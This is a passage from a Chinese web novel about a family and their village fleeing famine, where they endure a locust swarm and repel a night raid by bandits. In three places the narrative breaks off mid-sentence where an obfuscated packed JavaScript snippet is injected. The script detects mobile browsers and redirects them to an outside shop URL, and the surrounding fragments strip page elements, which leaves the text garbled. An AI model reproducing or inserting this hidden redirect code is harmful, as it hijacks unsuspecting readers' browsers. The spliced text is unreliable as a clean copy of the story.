赵宁宁还想说,一张嘴,一只虫扑面而来,赵宁宁怒了,一只手抓起来丢地上,狠狠地踩死。 宁妈:…… 虽然宁宁从小就不怕这些虫,但每次看到她踩虫,宁妈还是要感叹一声:干得漂亮。 踩死之后,赵宁宁回到车头上坐下,拍拍小心口,说:“吓死我了!每次都突脸,今天都是第二次往我身上撞了!” “怎么这么多虫?”宁妈问。 天旱,虽然有知了活着,那也只是一小部分,大部分知了都没能活着从干裂的土地里爬出来。 其他虫子多多少少也有一些,一路上走来偶尔也会碰到,像今天这样大白天往人身上飞的……这几日还是第一次见。 宁妈低头去看地上的虫,这一看可不得了,地上的虫虽然被赵宁宁踩裂开,通过翅膀和腿,依旧能看出那是一只——蝗虫! 宁爸吃完饭擦擦嘴出来,问:“怎么了?刚刚在里面听见宁宁说吓死她了。” 宁妈:“老赵,刚刚有只蝗虫往宁宁身上撞,宁宁把它给踩**。” “干得漂亮!”宁爸点赞,“不愧是我女儿。” “不是让你夸我!”赵宁宁说:“我妈说,这不对劲!” 几人在车头观察了一会,发现每隔一阵子,队伍里都有人家能撞见蝗虫。 就算平时会有蝗虫,也没有这样高密度地遇见过,宁爸想到逃荒之前打听到的南方蝗灾的消息,心下一惊。 看来那座大山还是没能拦得住蝗虫……蝗灾,要来了! 不敢耽搁,宁爸瞧着里正他们吃好饭之后,立马走过去,把今天遇见蝗虫的事说了。 里正一听,神色严肃,点头道:“我知道了。” 决定带家里人逃荒之前,他去找不少人打听过,蝗灾的事他不但知道,还知道……这不是一般的蝗虫! 要是还在村里,各家各户把门窗关好,粮食和水收好,那些蝗虫也无可奈何他们。 但现在正在逃荒路上,有车厢的还能遮挡一下,没车厢的,难道要硬抗吗? ——不,不能这样。 村长不知道赵老二又跟里正那小子说了什么,只知道里正听完就在原地走来走去,地上的枯草都被他给踏平了。 看着心烦,村长过去打断他,问:“怎么回事,赵老二对你说什么了?” “唉!”里正重重叹了口气,“老李,刚刚老二说,今天遇见好几只蝗虫往人身上撞,我刚才一看,果真如此。” 提到蝗虫,两人的脸色都不太好看,他们之所以带着村子出来逃荒,就是因为更南边的地方一波又一波的灾祸,他们不去逃荒,村子也会因为南边逃荒而来的人越来越乱。 “别说了,去想想怎么对付吧!”村长拍拍里正的肩,回去先知会家里人一声,让家里人多准备一些干粮,要是真和蝗虫碰上,接下来恐怕就没有时间做饭。 赵宁宁家也在想办法。 只可惜,他们都没见过这种阵仗,鼠灾的时候,还能想到堵一下的法子,现在在荒郊野外的,唯一能想到的办法,便是躲进车厢里。 趁着还没出发,里正把蝗灾的事跟队伍里的人说了,听到这个消息,队伍里的人顿时炸起窝来。 有车厢的人家还好说,趁队伍还没走直接去车厢周围看看有没有哪里有缝隙的,把车厢外面绑着的东西能塞车厢都塞车厢里去。 没车厢的可就难过了,架子车上放的全是他们的家当!万一被蝗虫糟践,哪怕只有一点,他们都心痛得不行! 王小花和她娘也在发愁。 她们家只有母女俩,逃荒的时候,王小花她娘掏出所有积蓄,也只够买一辆板车的。 板车上装着她们家的粮食、锅碗瓢盆、衣裳、晒的菜干…… 还有前两天贼人偷袭队伍的时候,当成粮食抢走的那包破被子。 王雁和女儿一起,把破被子从袋子里拿出来,把车上能吃的东西归拢成一个袋子,用棉被包着,包得严严实实。 包好之后,又用被单子给盖上,最后拿油布一遮,严严实实。 就算是蝗虫过来,隔着厚厚的这么几层,那也有时间去抢救里面的粮食。 像小花娘这样做法的村民不在少数,他们把能吃的都给收好,万一只是自己吓自己,大不了就是费点事,再把粮食掏出来。 万一真遇见蝗灾,把粮食保护好,接下来才能活命。 今天天气太热,加上队伍里要收拾粮食,直到下午申时正,队伍才继续出发。 到官道上,时不时就能遇见其他逃荒队伍,好在各自都闷头赶路,没有心思搭理其他队伍。 白天休息时间久,下午赶路便要久一些,一直到天黑得看不清路,里正才带着队伍下到官道下面去休息。 到晚上,队伍仍是时不时碰见几只蝗虫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229763|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没见变多,但也没少。 一部分人家仍然小心着,吃过饭后,还把剩下的粮食给藏好。 有几个懒的,想着白天压根没事,都是里正吓唬人,吃过饭之后把粮袋子一扎,往车上一塞完事。 一夜过去,第二天一早又开始赶路。村民从一开始赶路带着希望,到后面脚磨出泡、浑身酸痛开始抱怨,到如今已经开始麻木——好在今天晚上里正说,最多再走三日,便能到岭北府了。 被这根萝卜吊着,队伍里的人今天上午一口气,走了三十多里地。 里正正想着让孩子往前走,去找一块能停车的地方带着队伍下去休息,没想到自家车厢啪嗒啪嗒开始响起来。 这动静,像是有什么东西在撞击车厢。 里正心道不好。 一回头,天色开始变得阴沉起来,村里人还在欣喜是不是老天要下雨了,转眼却发现,蝗虫像雨滴一般,从天上坠下来。 那群黑色的“云”,竟然是!竟然是蝗虫! 里正大喊一声:“蝗虫!快躲起来!” 村民立马抱着头蹲下来。 王小花的娘眼疾手快地抱住女儿,给自己和女儿头上身上包上一层粗布单子。 赵宁宁这边,车厢开始被蝗虫撞击的时候,宁爸就从车上跳下来了。他和宁妈个子高,两人合力把骡子和马拴好,再在它们头上包了一层床单。 这样起码能保护它们的头部不被蝗虫咬到。 做完这些,一家四口都钻进车厢里,把车窗和车门都关得紧紧的。 撞击声不断变大。 遮天蔽日的蝗虫,出现在队伍上方,不多时,像是发现了队伍里有“美味”的食物,从天上飞下来的越来越多,不断有掉下来的蝗虫趴在车上、趴在牲畜身上……趴在人的身上。 蝗虫来的时候,钱婆子嗷一声,拿着床单子把自己给裹了个严严实实,剩下赵老头,他也赶忙从包裹里扒拉出来一件衣服裹在身上。 赵老大一家子也如法炮制,老三他们也是,全部都裹上衣裳,不让自己的头露在外面。 蝗虫不但吃粮食,它们还会咬人的! 即便是裹着衣服,身上爬满了虫还是很让人毛骨悚然。 隔了一层薄薄的衣服,赵慧兰听到衣服上窸窸窣窣虫子的动静,吓得声音都不敢出。 此刻,她嫉妒,她怨恨。 以前她欺负五丫的时候,可没少向她炫耀自己爹娘是如何宠爱自己的。如今看来,还是二叔他们对五丫好,他们竟然让五丫那个死丫头进到车厢里去…… 明明自己才是赵家最应该受宠的姑娘!要是不分家就好了,不分家,她也可以去坐马车,她也可以进到车厢里…… 正想着,赵慧兰脚腕突然像是被针扎了一样,一阵钻心的刺痛,赵慧兰心里一惊:这是、这是蝗虫在咬她的脚腕! 赵慧兰跺跺脚,想把脚上的蝗虫甩开,哪知甩了半天,都没能甩得掉,反倒是因为她的动作,让抱着头的衣服有了缝隙,一只蝗虫钻进来,直接咬了她手一口。 吃痛之后,赵慧兰小心把钻进来的蝗虫捏死丢出去。 羡慕和嫉妒,几乎把她的理智燃烧殆尽。 如果没有五丫就好了! 此刻的五丫,赵宁宁,正坐在车里吃冰棍。 天气本来就很热,再把车厢门窗关起来,这里跟蒸笼一样。 冰棍拿出来就开始化,赵宁宁只能不停劲儿地去吃。 宁爸嘴大,三下五除二给冰棍吃完,抹抹嘴开始担心外面的情况。 担心也没用,他又看不见。 宁爸:“唉,也不知道外头是什么情况,要是车窗上能安玻璃就好了。” “我可以‘看见’啊!”赵宁宁把冰棍吃完,小木棍收好,说:“我可以回去空间,利用空间卡视角看一下。” 在空间的时候,她出去之前是可以通过空间“看”到外面的情况的,视角就好像是她站在一个小楼上,她出来的地方,她还可以透视地看到里面的情况。 说干就干,赵宁宁闪回空间,往外看去。 “你说,蝗虫会不会把车厢给咬破?”宁爸问。 第39章 人祸 这一看,她吓了一跳,自家车厢外面趴了一层密密麻麻的蝗虫,好像还不止一层,层层叠叠的,赵宁宁看得密恐都要犯了。 往视角边缘的地方看过去,旁边的马车,车上也是这样。 自家的骡子和马身上也趴了好多蝗虫,它们身上被咬,不住地在原地来回踏步,用尾巴抽打着被咬的地方。 赵宁宁回到车厢内,把自己看到的说出来。 “别说,放在平时我会告诉你,蝗虫不能咬破车厢。但现在是天灾模式,这个不能保证。”宁妈回答。 几人开始担忧起车厢来。 令人头皮发麻的啃噬声一直持续了一个时辰,一个时辰过后,外面的动静小了起来,赵宁宁“看了看”,车厢顶上只剩下几十个蝗虫还聚在一起啃咬,外面蝗虫好像退了? “外面蝗虫少了很多。”赵宁宁说,“咱们再等一会再出去。” 又过一会,里正在外面敲锣,赵宁宁一家四口才从车厢里出去。 这一出去,宁爸心疼得不行。 原本车厢做好之后,他还特意给车厢刷了好几遍漆,刷得车厢枣红枣红的。 除了木漆,他还在上面刷了好几层赵宁宁捡来的装修垃圾里的透明防水涂料。如今被蝗虫东咬一口西咬一口,直接给啃得斑斑驳驳。 宁妈去看两匹牲畜,头被包着,它们的头倒是没事,身子却被蝗虫给咬得四处冒血。 好在伤口不大,只是看起来有些多。 宁妈问赵宁宁要来一瓶酒精,倒在小盆子里,用布巾蘸着给两匹牲畜消毒。 村里人受损的情况不一。 好一些的人家,因为昨天做了准备,粮食倒是保住了,最多人受一些惊吓。 有些不知道把自己包起来、没及时反应过来的,被蝗虫咬了几口,才匆匆包起来。 还有一些自己倒是好好的,只有粮食……因为昨天感觉里正小题大做,他们舀完粮食,把袋口随便一系丢在车上,蝗虫来的时候,闻到食物的香味,一股脑地钻过来,直接把袋子咬破。 粮食就这样,被蝗虫给吃了个精光。 老赵家的一袋粮食,就是这样被蝗虫吃掉的。 蝗虫来的时候,赵家人只顾着自己,没去包粮食,等发现时,袋子上趴的全是蝗虫,袋子里鼓鼓的,里面不知道是蝗虫,还是粮食。 赵老大忍住害怕和恶心,提着袋子一抖,只剩一把的粮食随着一大包蝗虫倒在地上,可把他给吓个够呛。 其他人家的情况也跟老赵家的差不多,全是粮食没保护好,被蝗虫咬破袋子给吃了。 经过这次,村里人本就不多的粮食,更加不够吃了。 等下到官道下面,里正才得空去盘点村里人的损失。 坐在地上,里正叹息,好在再坚持两天,府城便能到了,只要到府城,怎么都能活下去。 中午,各家各户也不敢掏粮食做饭,小心翼翼地把之前做好的干粮拿出来,啃一口藏一下的,囫囵着吃完。 下午,众人继续往前赶路。 时不时还能遇见几个蝗虫往车上撞,队伍里的人再也不敢掉以轻心,都把自己家仅剩的一点粮食藏好。 晚上休息的时候,仍有不少过路的蝗虫噼里啪啦掉在火堆里。 王小花这边的火堆里也是。 小小的火堆,但凡有蝗虫飞过,翅膀都会瞬间燃烧起来,紧接着它便掉进火堆里,不一会一股子焦香的味道就会从火堆里传出来。 “好香啊娘。”王小花围在火堆旁边闻,“咱们能不能把它弄出来吃?” 王雁迟疑一瞬,小时候家里没钱,她和村里的小孩也会满山地抓虫烤来吃,可这是蝗虫…… “先收起来吧,还不知道要走多久,万一……”王雁没把后面的话说完,“找个袋子放起来。” 万一后面实在是没什么吃,还能吃烤蝗虫。 王小花舔舔嘴,用树枝把掉进火堆里的蝗虫夹出来。 没有烤焦的,就小心地放在娘找出来的布袋里,烤焦的就丢在一边。 她不但守株待兔,还主动去旁边寻摸,抓来不少在地上爬着的蝗虫,用树枝串起来,放在火堆里烤。 只有少数几家没粮食的,才打起蝗虫的主意。 老赵家。 最后半袋子粮食被蝗虫给吃个精光,老赵家彻底断粮。 赵慧兰坐在车上,哎呦哎呦喊疼。 今天下午,她赶路时故意把脚给扭了,终于如愿以偿地坐上马车,再加上身上被蝗虫咬了好几口,她三分假疼,七分真疼地在卖惨。 没粮食吃,钱婆子本就心烦得慌,看大孙女这副样子,不悦道:“孙氏,管管你家二丫。” 赵慧兰喊疼的动作一滞。 奶以前可从来没这样叫过自己,也从来不让别人叫她“二丫”的!他们都是叫自己名字,自己名字可是请三叔的先生给起的…… “哎。”孙氏应声,转头斜楞自家女儿一眼,“没见你奶正烦着,别在这哼唧。” 赵慧兰低下头,揉着自己的脚腕,不再吭声。 没有粮食,赵家一家子只能硬捱,看着别人在周围吃得喷香,六丫把手指放在嘴里,馋的哈喇子直接顺着嘴角流在胸口的衣服上。 老三心疼,借着去上厕所的由头,把自家女儿拉到一边,从怀里掏出半张饼子,掰出一小块塞在她手里。 让她拿好赶紧吃,赵老三叮嘱:别让其他人知道。 过一会,他装作若无其事的样子,带着女儿回去,把剩下的饼悄悄分成两份,塞给吴氏一份,让她到一边去吃。 饼子不知放了几天,干硬的如同石头,吴氏一口咬下去,差点把牙崩掉,她只能慢慢磨着吃,没吃几口,剩下的她舍不得吃,包起来又塞回怀里。 赵家人饿着肚子,歇下了。 赵宁宁家,宁爸问宁宁要来剩下的木漆,饭也不吃地趴在车厢上补涂,涂完之后还不忘把木漆拿到周家那边,让周剑也给自家马车涂一涂。 虽然说好几年都没见过雨,万一真下起雨来再补涂那可是来不及的。 周剑道谢,吃过饭之后,给自家车上也刷一遍。 简单吃过晚饭后,随着夜色越发浓重,王李村队伍渐渐安静下去。 今天巡逻的是村西头的两家汉子。 一开始他们还在四处走走,远远看过去,周围安安静静的,只有偶尔扑进火堆的蝗虫会噼啪几声。 两个汉子打着哈欠,在寅时的时候又走了一圈。 回到队伍里,其中一个说:“老五,你先看着,我眯一会,不然明天白天还要走一天的路呢,不睡一会遭不住。” 被喊老五的那个汉子点头,自个儿在周围巡逻起来。 等他巡过一圈回来,看到地上的兄弟睡得正香,不由地打了个哈欠,跟着坐在地上。 还差一圈巡逻,天就亮了。 天亮之后,下一批来**的人就该过来**了,趁这个空,眯一会。 这样想着,老五歪在兄弟旁边,跟着沉沉睡去。 寅时正,天亮前夕。 漆黑的夜空中,只有一牙月光,微微透着亮。 蛰伏一整夜的流民,看到那个队伍巡逻的人终于睡下,又等了半刻钟,他们悄悄放开步子,提着农具往队伍里摸。 席老头家缺了席二顺来拉车,白天只能走在队伍最后面。 流民过来时,往车上摸粮食袋子,一把摸到席二顺的脚。 忍着疼痛的席二顺夜间本就睡得不安稳,脚一被人摸,他便醒了过来。 家里人没人会这样干! 他微眯着眼,借着微弱的月光看到,那是一个拿着锄头的汉子! 是村里人?还是…… 席二顺不敢出声,他们家的架子车现在放着他,粮食袋子只能绑在车架下面。 车架下面又睡着席老头和老太。 贼人摸索了一番,没找到东西之后,放弃这边的架子车,转而去摸旁边那一辆。 席二顺悄悄扭头,他看见,队伍边缘影影绰绰站了一群人,这么多人,不是村里人在偷东西,是外来的贼人!! 顾不上疼,席二顺想了想,伸手去够车架旁边的媳妇,摇醒之后,席二顺低声说:“有贼人,快、快去告诉里正。” 二顺媳妇一惊,趴在车边小心往四边看,果然看到不远处,有人趁着夜色,在摸摸索索。 ——去通知里正? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229764|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么危险的事,本不应该让自家媳妇去干的,可席二顺身受重伤,没法子,只能让媳妇过去。 远处传来一声不大不小的惊呼,下一秒,伴随着一记闷响,那声音戛然而止。 二顺媳妇心一凉,这动静,她在自家男人身上也听到过,是、是贼人拿东西把人敲晕的动静! 席二顺推了一把媳妇。 二顺媳妇握紧拳头,低头慢慢顺着队伍间的空隙往前爬,一边爬一边害怕,万一路上遇到贼人怎么办。 这种情况,席二顺早就想到,等媳妇爬远之后,他从板车上爬起来,找了一块破布袋往火堆里一丢,火堆顿时燃烧起来。 怕不够,他又从车尾扯出两把柴火,往火堆边上丢,火堆燃烧得更高。 “着火啦!走水啦!”席二顺大喊:“走水啦!走水啦!” 这边的动静一大,贼人的动作一顿,见周围大部分人还没反应过来,几个本来想往前面走的贼人折回来,拿着农具就要往这个坏他们好事的人身上砸。 席二顺拖着沉重的脑袋,从车上一翻,爬到旁边的车下面。 夜色太黑,趁那群人低头找人的功夫,席二顺抓一把地上的沙土,往那些人面门一撒,他再转移一个地方。 二顺媳妇听到后面的动静,头也不回地爬起来往前跑,跑过几步之后,大声呼喊:“贼人来了!贼人来了!贼人来了!” 喊几下她缓口气,接着再喊:“快醒醒!贼人来了!” 她的声音宛如警钟一般,重重地将沉于梦乡的人给敲醒。 宁爸听到,一个翻身从车架子上醒过来,敲敲车门,宁爸喊:“兰香,有情况。” 车门打开,周兰香提着柴刀从里走出来,“你守在这,我去看看怎么回事。” “我跟你一起……”宁爸还没说完,宁妈打断他,“小启还在。” 赵启扒着车厢门,“你们都去吧。我把车厢门锁好,再说了,宁宁还在。” 宁妈点头,让赵启把门锁好之后,夫妻俩一人一把柴刀,队伍另一边快步走去。 赵启躲在车厢里,偷偷拉开一个窗户缝往外看。 赵宁宁从空间出来,把之前宁爸钓到的**拿出来,放在桌板上。 赵启摇头,“妹妹,你拿好这个,给我拿一把柴刀就成。” 赵启怎么说年纪也比赵宁宁大好几岁,力气也比她大,挥得动柴刀。 两兄妹在车厢里急得不行,赵宁宁祈祷,万能的系统一定要保佑他们父母平平安安。 另一边,二顺媳妇还没跑到里正落脚点,头发一把被人抓住。 “死娘们!都是你闹出来的动静,害我们兄弟行动失败!” 流民抓住她,一把扯到地上。 二顺媳妇眼里含着惊惧,“不、不……” “哼,拿命来!” 贼人举起耙子,一耙挥下来,二顺媳妇绝望地闭上眼。 “铛”的一声铮鸣,耙子没有像预期那样落在头上,二顺媳妇睁开眼,只看到一把柴刀把整个耙子都给拍开,再是一只脚伸过去一踹,贼人直接躺倒在地。 看地上的人没事,宁妈忙去扶人起来,宁爸过去一边补刀。 “是你给队伍里报信的?”宁妈问。 二顺媳妇点头,咽了口唾沫说:“周氏,谢谢你。” “说什么谢,你小心点,我们走了。”宁妈说完,提着刀跟宁爸向队伍的边缘走去。 二顺媳妇咬咬牙,接着一边喊一边朝队伍前面跑。 不少的村民都被惊醒,里正忙安排家里人过去支援。 队伍里,妇人们帮不上忙的,把火堆挑亮一些,好让众人能看到现在的情况,胆子大一些的,拿着农具守在一边,好不叫贼人近身。 但凡是有血性的汉子,全拿着农具冲上去。 一路走来十来天,宁爸和宁妈早就把队伍里的人认了个七七八八,况且贼人穿着褴褛到身上只有两块破布挂着,王李村最穷的人家也没有这样穿的,好分辨得很。 宁妈宁爸相互打配合,一人守着背后,一人去砍贼人,一时间,没人能够近身。 对方见这边不是好惹的,提着武器往别处去。 第40章 损失惨重 还有一小撮人,看前方战况激烈,悄悄绕道到后面,看哪家有马车的,直接下手去扯车上的东西。 车架子上值钱的东西扯走,还有车厢的没抢。 五个人里,有三个人背着抢来的东西,其中两个挨个去砍车厢门。 赵宁宁卡视角看到,跟赵启说了,两人攥着**和柴刀,在车厢里静静等待贼人的到来。 “这边还有一个!” “呸!藏得还挺严实,走,去看看!” 车厢里藏的一般都是妇人和小孩,还有他们的家产,刚刚抢了两个,他们赚得盆满钵满,这家马车看上去更加富贵。 况且这两马车还停在边上,一点都不惹人注意。 “开门!” 贼人敲敲车门,见里面没反应,直接跳上车头,挥舞着斧头正要往车门上砍。 赵宁宁在空间看到这一幕,直接闪出来,在贼人往车门上砍的那一瞬间,猛地一把将车门拉开。 那人始料未及,一斧头劈空,整个人栽倒到前面,躲在一边的赵启趁机一刀劈下去,贼人吃痛地捂着腹部,眼中满是不可思议。 他们来偷袭的,竟然被偷袭了? 他下意识地伸手举起斧头,想砍过去,躲在另一边的赵宁宁趁机拿着**,使出吃奶的力气,往他手臂上扎去。 “大毛!大毛!你怎么了!” “可恶!竟然有偷袭的!你们不得好死!” 有一个汉子上来,赵宁宁把之前防老鼠用剩下的荆棘团子从空间取出,直接往前面一丢。 那人被突入起来的东西给扎得一痛,趁他愣神,赵启踩着脚下的贼人走到车头,双手举着柴刀,一下子斜砍过去。 第二个贼人倒下。 后面跟着的三个见两个兄弟都在这里碰壁,几人你看我我看你,直接扛着东西跑了。 笑话,他们是来抢东西的,不是来送人头的! 危机解除,赵启回头,看到妹妹已经把车厢门口这个贼人手里的斧头给踢到一边了。 此刻贼人嘴里冒着血,一手抓着赵宁宁的衣角,还想伸手去掐赵宁宁。 赵宁宁不耐地踹了他两脚,直接将这个人从车头踹到车底下去。 赵启跟着跳下去,把另一个人手里拿着的大刀给夺过来,交给赵宁宁。 赵宁宁和赵启回到车厢内关好门,把大刀和斧头都收回空间,看着车头的一滩血,赵宁宁发愁得不行。 血渗进去可难擦干净了! 让哥哥守着,赵宁宁去空间打水出来擦车。 接水的时候,赵宁宁手还有些发抖,刚刚黑灯瞎火的,用**去刺贼人完全是靠着下意识的动作。 熟悉的现代厕所装潢,温馨的暖黄色灯光下,赵宁宁看着手掌上的鲜血,慢慢放轻呼吸。 ——没事的……这点血还没之前每个月生理期见到的血多呢。 发抖的手渐渐平稳。 饶是这样想,赵宁宁依旧用肥皂把手给洗了个干净,再接一盆凉水出去,让哥哥也洗洗手。 两兄妹躲在车厢里,静静地等待外面的战斗停歇。 远处的争斗声渐渐停歇,半个时辰过后,天边鱼肚露白,地上的情况一览无余。 地上横七竖八躺了许多人,赵宁宁站在车头,一眼望去,几乎有一半都是王李村的村民。 剩下一半,才是没什么气息的贼人。 此刻,只剩两个贼人还在负隅顽抗,见一起过来的弟兄们被这群凶暴的难民给打得死的死,伤的伤,两个人抢来的粮食和银子都不要了,往地上一扔,拔腿便跑。 剩下的村民没有气力去追杀,拖着疲惫的身躯,去看家里人的情况。 宁爸和宁妈疲累地回来,他们一回来,赵宁宁便迎上去,把刚接出来的温水从空间里拿出来,先让两人洗洗手和脸。 这会还不是洗澡的时候,宁妈忍着身上令人作呕的血腥味,问:“你们两个没遇见什么情况吧?” 赵启摇头,“我和妹妹碰见五个贼人。” 听到五个,宁妈和宁爸齐唰唰地吓了一大跳,赵启接着说:“我们俩配合,砍伤两个,后面几个全跑了。” 砍伤的这两个,后面被其他人拖着不知道去哪了。 赵启把当时的情况简单说了说。 两个当父母的心,高高悬起,又轻轻落下。 “你们……”宁爸摸摸儿子的头,又摸摸女儿的头。 “哎,不兴搞煽情这一套,咱们逃荒那天起不就说好的,路上一切情况都有可能遇到。”赵宁宁拍拍老爸的手。 话是这样说,临出发前几天,宁妈给一家人教了几招杀招,赵宁宁小胳膊小腿抡着有半个她高的柴刀往木头稻草人上砍,晃晃悠悠看的宁妈胆战心惊的。 可刚才听儿子说的,女儿分明是和儿子一起应敌的。 “不是说让你躲一躲吗。”宁妈用洗净的手去摸摸赵宁宁的脸,“早知道会有人偷偷摸摸来这边,我和你爸就不走了。” “我在还能跟我哥打配合,我躲起来他只有一个人怎么办?”赵宁宁叉着腰说:“你们只有我一个女儿,也只有我哥一个儿子啊!” 宁妈无奈笑道:“下次再有这种事,我跟你爸再也不离开咱们车厢了,你们俩,不,咱们一家四口都得好好的。” 赵宁宁点头,有多大本事吃多大碗饭嘛!一次能帮村里人,两次能帮村里人,再不长记性,她真想直接**一家子随便去深山老林找个山洞躲起来算了。 反正空间有吃的。 一家人若无其事的说说笑笑,只有宁爸宁妈知道,自己心里压着害怕去动的刀子,这次还把两个孩子给牵扯进来。 宁妈捣捣宁爸的腰肉,小声说:“今天白天多跟孩子们唠唠嗑。” 宁爸了然,点点头。 队伍里。 简单清点完队伍里受伤的人数,里正本就花白的头发,看上去更白几分。 一夜过去,夜袭而来的贼人,有七个被王李村的人给乱拳打**。 剩下有两个受伤重,最后逃跑的时候那群人没捎上他俩,里正让人把他俩捆起来,待会审问。 王李村的人,几乎有三分之一的汉子都多少受了些伤,其中有三个,直接被贼人用锄头砸**。 此刻他们家人正跪在他们孩子或是丈夫的身边,嚎啕大哭。 里正看的心里不是滋味,转过身去,王修奉包好手,走过来宽慰里正爹,“爹,别伤心了……我刚去问了二顺媳妇,二顺媳妇说是二顺半夜发现有人摸他的脚。 他醒过来发现不对,偷偷通知他媳妇,他媳妇斗胆边跑边喊,咱们村的人才能及时醒过来。” 里正满是沟壑的脸上,落下两行清泪,“唉,那三家孩子死得太冤了,明明快天亮了,明明……安排的有人巡逻的。” “爹。”王修奉正色道:“二……我问了问村里人,都说贼人来的时候,那俩值守的人还在睡着,二顺媳妇都快喊到队里头了,他们才醒。” 里正抹抹眼泪,“我知道了。” 千算万算,谁能算得到,前些天都好好的,偏就今天遇见偷懒的汉子。 村里人伤得重,今天上午怕是不好走路了,里正干脆做主,让大家伙在原地休息。 大夫忙碌地给人包扎,包到一半,他苦着脸来找里正。 “里正,药不够了。”康大夫说:“本来我想着就是到府城,也只备了去府城用的药。” 谁知道这一路走来险象环生,又是中暑又是偷袭又是蝗虫咬的。 再加上昨夜那场战斗,他把配好的金疮药和止血药都拿去用还不够。 大夫把剩下的药材拆开挑出来,一样一样重新配药,也不够用。 “要不……”村长拿出地图计算了一下,“还有三十里就到合庆县了,咱们要不今日下午先走到县城落脚,歇一日再去府城?” 里正皱眉,跟他一起看地图。 本身合庆县就是去府城的毕必经之路,今天下午赶路,到县城也能去买一些药草。 点点头,里正应允了这个方案。 刚好趁上午休整队伍的时候,敲打敲打巡逻的汉子。 那两个**的,其中一个被贼人用锄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229765|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头开瓢,脑浆飞洒出来,当场身亡。 另一个也没好到哪去,他想跑,被贼人一锄头下去,一条腿被硬生生锄断。 里正罚他们两家各交出五两银子,充公买药草用。 这两家汉子的家人本来还想闹,被那些失去家人、或是家人在这场战斗中身受重伤的村民给骂回去,顿时老实起来。 上午,村长带人把那群贼人带来的干粮和银子都摸出来,一共找到两百斤粗粮,四十三两银子。 给家里丧子丧夫的一家十两,里正又给他们放了二十斤粮食。 剩下的粮食,一部分分给受伤轻一些的汉子,剩下七八十斤,里正拴在上次特意留下来的马身上。 这些就作为整个队伍“公中”的支出,若是谁家能在队伍中立功,便从这里面拿奖励回过去。 比如,昨夜二顺一家子。 二顺先发现的贼人,因着身体不方便,二顺让他媳妇去送的信。 若不是二顺媳妇,恐怕贼人都要打到面前了才发现不对。 处置完这些事,里正深感疲惫,让大家休息一上午,下午再出发,走到合庆县再好好休息。 大早上经过这么一吓,又见了许多血腥,赵宁宁一家子都没什么胃口。 喝了点水,宁妈拿出之前蒸的玉米饼,闻着粮食的清香,赵宁宁一家四口勉强垫垫肚子。 太阳升起来之后赵宁宁才发现,他们家马车外面沾的还有没擦干净的血。 这会外面的人也在清理自己车上溅到的血迹,下午要去县城,不收拾好,怕是会在入城的时候露出端倪。 村里人抓着地上的沙土往架子车上蹭,没几下,车上被溅到的血点便被擦了下去,尘土再一盖,基本什么都看不出来。 这边休整得差不多,里正和村长去看那两个被拴起来扔在一边的贼人。 村长踹了他们几脚,用之前审人那套法子,抽几鞭子之后,那两个软蛋便把昨天如何计划、如何盯上王李村的事给吐了出来。 原来他们也是一个小村子的逃荒队伍,一开始也有人领头,后面越走越累、越走粮食越少。 他们的村长生病,队伍又急着往前走,便把村长抛在后面。 队伍里,原先在村里不成调的泼皮闹腾着接管队伍,村里大都是敢怒不敢言的老实人,见他接管队伍之后没干什么,忍一忍便也罢了。 但他接管队伍第二天,就开始管那些人要“保护费”,你家二两米他家三两面的要,就是蹲在马车上,用流里流气的目光看村里好人家未婚嫁的姑娘。 有几家胆子大,有点血性的汉子实在是受不了队伍被这样一个泼皮掌控着乱来,在一个晚上,偷偷带着家人一起跑了。 剩下十几户更是逆来顺受,那泼皮让剩下的人直接称呼他“老大”。 但好景不长,粮食总有吃完这一天,前天他们便断粮了,好不容易**了官道上一个过路的马车,从马车上抢到的粮,还不够老大塞牙缝的。 昨天又历经一场蝗灾,老大发话,不管怎么说也要抢一个队伍的粮食,他们的队伍才能继续走下去。 横竖都是个死,要么饿死,要不**,村里几个汉子听他指挥,悄悄往官道下面好停车的地方寻摸。 还真让他们寻摸到一个队伍。 那就是王李村的队伍。 村长听完,气得咬牙切齿,狠狠抽了他们十几鞭,抽得他们皮开肉绽,被绳子绑起来的地方,肉直接裂开长长一条缝隙。 里正脸色晦暗难明,他把两人拖到七名死去的贼人前面,让他们指认这里面有没有他们的“老大”。 那两人摇头。 村长收起鞭子,晦气地拿着在沙地上把血迹蹭干净,听到这里面没有他们的老大,立即起身道:“要不我带几个人去追一下?” “别去了。”里正摇头,“能打的人少,危险,况且现在……还不算没有王法。” 尤其现在只离合庆县只有三十里地。 “难道就这样放过他们?!”村长咬牙,“老王,这口气我咽不下。” 第41章 到县城 他的两个儿子都受伤了,小儿子胳膊上还被砍了一刀,好在赵老二帮忙挡了一下,不然小儿子的胳膊都要没了! 